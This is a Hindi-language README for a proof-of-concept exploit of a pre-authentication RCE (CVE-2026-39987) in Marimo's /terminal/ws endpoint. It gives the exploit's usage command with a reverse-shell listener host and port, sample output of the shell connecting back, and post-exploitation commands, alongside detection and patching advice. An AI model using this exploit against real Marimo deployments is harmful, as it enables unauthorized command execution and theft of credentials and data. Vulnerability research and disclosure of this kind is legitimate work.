
Marimo प्री-ऑथेंटिकेशन RCE के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। बिना प्रमाणीकरण के /terminal/ws WebSocket एंडपॉइंट का उपयोग करके एक PTY स्पॉन करता है और एक रिवर्स शेल स्थापित करता है।
CVE-2026-39987 एक गंभीर प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है जो Marimo, एक रिएक्टिव Python नोटबुक वातावरण, को प्रभावित करती है।
यह भेद्यता Marimo के टर्मिनल WebSocket एंडपॉइंट में मौजूद है:
/terminal/ws
एंडपॉइंट टर्मिनल सत्र बनाने से पहले प्रमाणीकरण को सही ढंग से लागू करने में विफल रहा। इसके परिणामस्वरूप, एक अनधिकृत दूरस्थ हमलावर जो किसी भेद्य Marimo इंस्टेंस तक पहुँच सकता है, WebSocket कनेक्शन स्थापित करके एक इंटरैक्टिव PTY शेल प्राप्त कर सकता है।
किसी वैध क्रेडेंशियल की आवश्यकता नहीं है।
| गुण | मान |
|---|---|
| CVE | CVE-2026-39987 |
| उत्पाद | Marimo |
| भेद्यता | प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन |
| हमला वेक्टर | नेटवर्क |
| प्रमाणीकरण | आवश्यक नहीं |
| उपयोगकर्ता सहभागिता | आवश्यक नहीं |
| CWE | CWE-306 — महत्वपूर्ण फ़ंक्शन के लिए लापता प्रमाणीकरण |
| गंभीरता | गंभीर |
| फिक्स्ड संस्करण | 0.23.0 |
यह भेद्यता Marimo के WebSocket एंडपॉइंट्स के बीच असंगत प्रमाणीकरण प्रवर्तन के कारण उत्पन्न हुई थी।
जहाँ अन्य WebSocket कार्यक्षमता प्रमाणीकरण सत्यापन करती है, वहीं भेद्य /terminal/ws एंडपॉइंट बिना पहले कॉलर को सत्यापित किए कनेक्शन स्वीकार कर सकता था।
भेद्य टर्मिनल एंडपॉइंट WebSocket कनेक्शन स्वीकार करने के बाद एक इंटरैक्टिव PTY बनाता है।
अवधारणात्मक रूप से, भेद्य अनुरोध प्रवाह इस प्रकार है:
Remote Client
|
| WebSocket connection
v
/terminal/ws
|
| Missing authentication validation
v
WebSocket accepted
|
v
PTY created
|
v
Interactive shell
महत्वपूर्ण सुरक्षा सीमा लापता प्रमाणीकरण जाँच है।
मनमाना कमांड निष्पादन उजागर करने वाले एंडपॉइंट को किसी अनधिकृत क्लाइंट को PTY निर्माण लॉजिक तक पहुँचने की अनुमति नहीं देनी चाहिए।
सफल शोषण Marimo प्रोसेस के विशेषाधिकारों के साथ मनमाना कमांड निष्पादन प्रदान कर सकता है।
परिनियोजन कॉन्फ़िगरेशन के आधार पर, यह एक हमलावर को निम्न कार्य करने की अनुमति दे सकता है:
प्रभाव विशेष रूप से नोटबुक वातावरण के लिए महत्वपूर्ण है क्योंकि उनके पास आमतौर पर डेटासेट, APIs, क्रेडेंशियल, क्लाउड संसाधनों और विकास अवसंरचना तक पहुँच होती है।
चेतावनी: PoC को केवल उन्हीं सिस्टमों पर चलाएँ जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आप स्पष्ट रूप से अधिकृत हैं।
यह रिपॉजिटरी नियंत्रित वातावरण में भेद्यता प्रदर्शित करने के लिए एक PoC प्रदान करती है।
नीचे दिया गया उदाहरण किसी स्थानीय/प्रयोगशाला इंस्टेंस के विरुद्ध शोषण प्रदर्शित करता है।
उदाहरण के लिए:
http://127.0.0.1:8081
PoC लॉन्च करने से पहले भेद्य Marimo इंस्टेंस चालू होना चाहिए।
उदाहरण:
python3 exploit.py \
-u http://127.0.0.1:8081 \
--host 192.168.101.130 \
--port 5555
जहाँ:
-u Target Marimo instance
--host Listener IP
--port Listener port
PoC भेद्य टर्मिनल कनेक्शन स्थापित करता है और परिणामी शेल कनेक्शन की प्रतीक्षा करता है।
उदाहरण आउटपुट:
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882
सफल शोषण के बाद, हमलावर को Marimo प्रोसेस के विशेषाधिकारों के अंतर्गत चलने वाला एक शेल प्राप्त होता है।
whoami
उदाहरण:
marimo
id
उदाहरण:
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
यह प्रदर्शित करता है कि marimo खाते के रूप में दूरस्थ रूप से मनमाने कमांड निष्पादित किए जा रहे हैं।
PoC समझौता किए गए प्रोसेस के लिए उपलब्ध फाइलसिस्टम तक पहुँच भी प्रदर्शित कर सकता है।
ls -la
उदाहरण:
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py
फाइलसिस्टम रूट पर जाना:
cd /
ls
उदाहरण:
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace
यह पुष्टि करता है कि दूरस्थ शेल के पास Marimo प्रोसेस के विशेषाधिकारों और कंटेनर प्रतिबंधों के अधीन सामान्य फाइलसिस्टम पहुँच है।
संपूर्ण भेद्यता श्रृंखला को इस प्रकार संक्षेपित किया जा सकता है:
1. Attacker discovers exposed Marimo instance
|
v
2. Attacker connects to /terminal/ws
|
v
3. Authentication is not enforced
|
v
4. WebSocket connection is accepted
|
v
5. PTY terminal is created
|
v
6. Attacker obtains command execution
|
v
7. Commands execute as the Marimo process
गंभीर सुरक्षा विफलता चरण 3 पर होती है।
शोषण के संभावित संकेतकों में निम्न के लिए अप्रत्याशित WebSocket कनेक्शन शामिल हैं:
/terminal/ws
और Marimo सर्वर से उत्पन्न असामान्य प्रोसेस गतिविधि।
रक्षकों को निम्न की जाँच करनी चाहिए:
Marimo को फिक्स्ड रिलीज़ में अपग्रेड करें:
0.23.0 or later
इसके अतिरिक्त:
/terminal/ws गतिविधि के लिए लॉग की समीक्षा करें।CVE: CVE-2026-39987
CWE: CWE-306
Severity: Critical
Type: Pre-Authentication RCE
Protocol: WebSocket
Endpoint: /terminal/ws
Auth: None required
Fixed: 0.23.0
यह प्रोजेक्ट सुरक्षा अनुसंधान, भेद्यता सत्यापन और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है।
PoC को उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।